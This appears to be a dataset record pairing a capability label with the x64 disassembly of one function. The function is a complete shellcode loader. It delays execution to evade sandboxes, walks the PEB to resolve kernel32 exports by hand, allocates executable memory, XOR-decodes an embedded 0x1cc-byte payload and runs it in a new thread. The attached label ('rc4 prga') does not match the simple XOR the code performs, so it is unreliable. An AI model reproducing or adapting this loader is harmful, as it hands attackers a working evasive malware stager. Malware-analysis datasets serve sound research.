Function at 0x1400015e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x6c8
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x610], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rcx, rax
lea rax, str.NtDelayExecution
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov dword [rbp + 0x604], 0x64
mov eax, dword [rbp + 0x604]
imul eax, eax, 0xff676980
cdqe
mov qword [rbp + 0x540], rax
mov r8, qword [rbp + 0x608]
lea rax, [rbp + 0x540]
mov rdx, rax
mov ecx, 0
call r8
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x5f8]
sub rax, qword [rbp + 0x610]
mov rdx, rax
mov eax, dword [rbp + 0x604]
imul eax, eax, 0x3e8
cdqe
cmp rdx, rax
jae 0x1400016ae
mov eax, 0
jmp 0x140001c97
mov dword [rbp + 0x554], 0x60
mov eax, dword [rbp + 0x554]
mov rax, qword gs:[rax]
mov qword [rbp + 0x548], rax
mov rax, qword [rbp + 0x548]
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x5f0]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x5e8]
add rax, 0x20
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x5e0]
mov rax, qword [rax]
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
sub rax, 0x10
mov qword [rbp + 0x5d8], rax
mov rax, qword [rbp + 0x5d8]
movzx eax, word [rax + 0x48]
movzx edx, ax
mov rax, qword [rbp + 0x5d8]
mov rax, qword [rax + 0x50]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, edx
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call rax
mov dword [rbp + 0x5d4], eax
mov ebx, dword [rbp + 0x5d4]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 8
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x5c8], rax
mov eax, dword [rbp + 0x5d4]
mov rdx, qword [rbp + 0x5d8]
movzx edx, word [rdx + 0x48]
movzx ecx, dx
mov rdx, qword [rbp + 0x5d8]
mov rdx, qword [rdx + 0x50]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x5c8]
mov qword [rsp + 0x20], rax
mov r9d, ecx
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call rax
mov rax, qword [rbp + 0x5c8]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_CharUpperA]
call rax
mov rax, qword [rbp + 0x5c8]
lea rdx, str.KERNEL32.DLL
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140001863
mov rax, qword [rbp + 0x5d8]
mov rax, qword [rax + 0x30]
mov qword [rbp + 0x630], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov rdx, qword [rbp + 0x5c8]
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
jmp 0x1400018ac
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov rdx, qword [rbp + 0x5c8]
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
mov rax, qword [rbp + 0x638]
mov rax, qword [rax]
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
cmp rax, qword [rbp + 0x5e0]
jne 0x14000170c
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x5c0], rax
mov rax, qword [rbp + 0x5c0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x630]
add rax, rdx
mov qword [rbp + 0x5b8], rax
mov rax, qword [rbp + 0x5b8]
add rax, 0x18
mov qword [rbp + 0x5b0], rax
mov rax, qword [rbp + 0x5b0]
mov eax, dword [rax + 0x70]
mov edx, eax
mov rax, qword [rbp + 0x630]
add rax, rdx
mov qword [rbp + 0x5a8], rax
mov rax, qword [rbp + 0x5a8]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rbp + 0x630]
add rax, rdx
mov qword [rbp + 0x5a0], rax
mov rax, qword [rbp + 0x5a8]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rbp + 0x630]
add rax, rdx
mov qword [rbp + 0x598], rax
mov rax, qword [rbp + 0x5a8]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rbp + 0x630]
add rax, rdx
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x628], 0
mov qword [rbp + 0x620], 0
mov dword [rbp + 0x61c], 0
jmp 0x140001a75
mov eax, dword [rbp + 0x61c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x598]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x630]
add rax, rdx
mov qword [rbp + 0x558], rax
mov rax, qword [rbp + 0x558]
lea rdx, str.GetModuleHandleA
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001a10
mov rax, qword [rbp + 0x630]
mov edx, dword [rbp + 0x61c]
movsxd rdx, edx
lea rcx, [rdx + rdx]
mov rdx, qword [rbp + 0x590]
add rdx, rcx
movzx edx, word [rdx]
movzx edx, dx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5a0]
add rdx, rcx
mov edx, dword [rdx]
mov edx, edx
add rax, rdx
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x558]
lea rdx, str.GetProcAddress
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001a6e
mov rax, qword [rbp + 0x630]
mov edx, dword [rbp + 0x61c]
movsxd rdx, edx
lea rcx, [rdx + rdx]
mov rdx, qword [rbp + 0x590]
add rdx, rcx
movzx edx, word [rdx]
movzx edx, dx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5a0]
add rdx, rcx
mov edx, dword [rdx]
mov edx, edx
add rax, rdx
mov qword [rbp + 0x620], rax
add dword [rbp + 0x61c], 1
mov rax, qword [rbp + 0x5a8]
mov eax, dword [rax + 0x18]
mov edx, dword [rbp + 0x61c]
cmp edx, eax
jb 0x140001983
mov rax, qword [rbp + 0x628]
lea rdx, str.kernel32.dll
mov rcx, rdx
call rax
mov qword [rbp + 0x588], rax
mov r8, qword [rbp + 0x620]
mov rax, qword [rbp + 0x588]
lea rdx, str.VirtualAlloc
mov rcx, rax
call r8
mov qword [rbp + 0x580], rax
mov r8, qword [rbp + 0x620]
mov rax, qword [rbp + 0x588]
lea rdx, str.CreateThread
mov rcx, rax
call r8
mov qword [rbp + 0x578], rax
mov r8, qword [rbp + 0x620]
mov rax, qword [rbp + 0x588]
lea rdx, str.WaitForSingleObject
mov rcx, rax
call r8
mov qword [rbp + 0x570], rax
lea rax, [rbp + 0x1a0]
lea rdx, [0x140005090]
mov ecx, 0x73
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x39
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov rax, qword [rbp + 0x580]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1cc
mov ecx, 0
call rax
mov qword [rbp + 0x568], rax
mov rax, qword [rbp + 0x568]
mov rdx, rax
lea rax, [rbp - 0x30]
mov ecx, 0x1cc
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov dword [rbp + 0x618], 0
jmp 0x140001c32
mov eax, dword [rbp + 0x618]
add eax, eax
cdqe
lea rdx, [rbp + 0x1a0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x618]
add eax, eax
cdqe
lea rdx, [rax + 1]
lea rax, [rbp + 0x1a0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x618]
movsxd rdx, eax
mov rax, qword [rbp + 0x568]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x618], 1
cmp dword [rbp + 0x618], 0x1cb
jle 0x140001bde
mov rax, qword [rbp + 0x578]
mov rcx, qword [rbp + 0x568]
lea rdx, [rbp - 0x34]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rcx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x560], rax
mov r8, qword [rbp + 0x570]
mov rax, qword [rbp + 0x560]
mov edx, 0xffffffff
mov rcx, rax
call r8
mov eax, 0
add rsp, 0x6c8
pop rbx
pop rsi
pop rdi
pop rbp
ret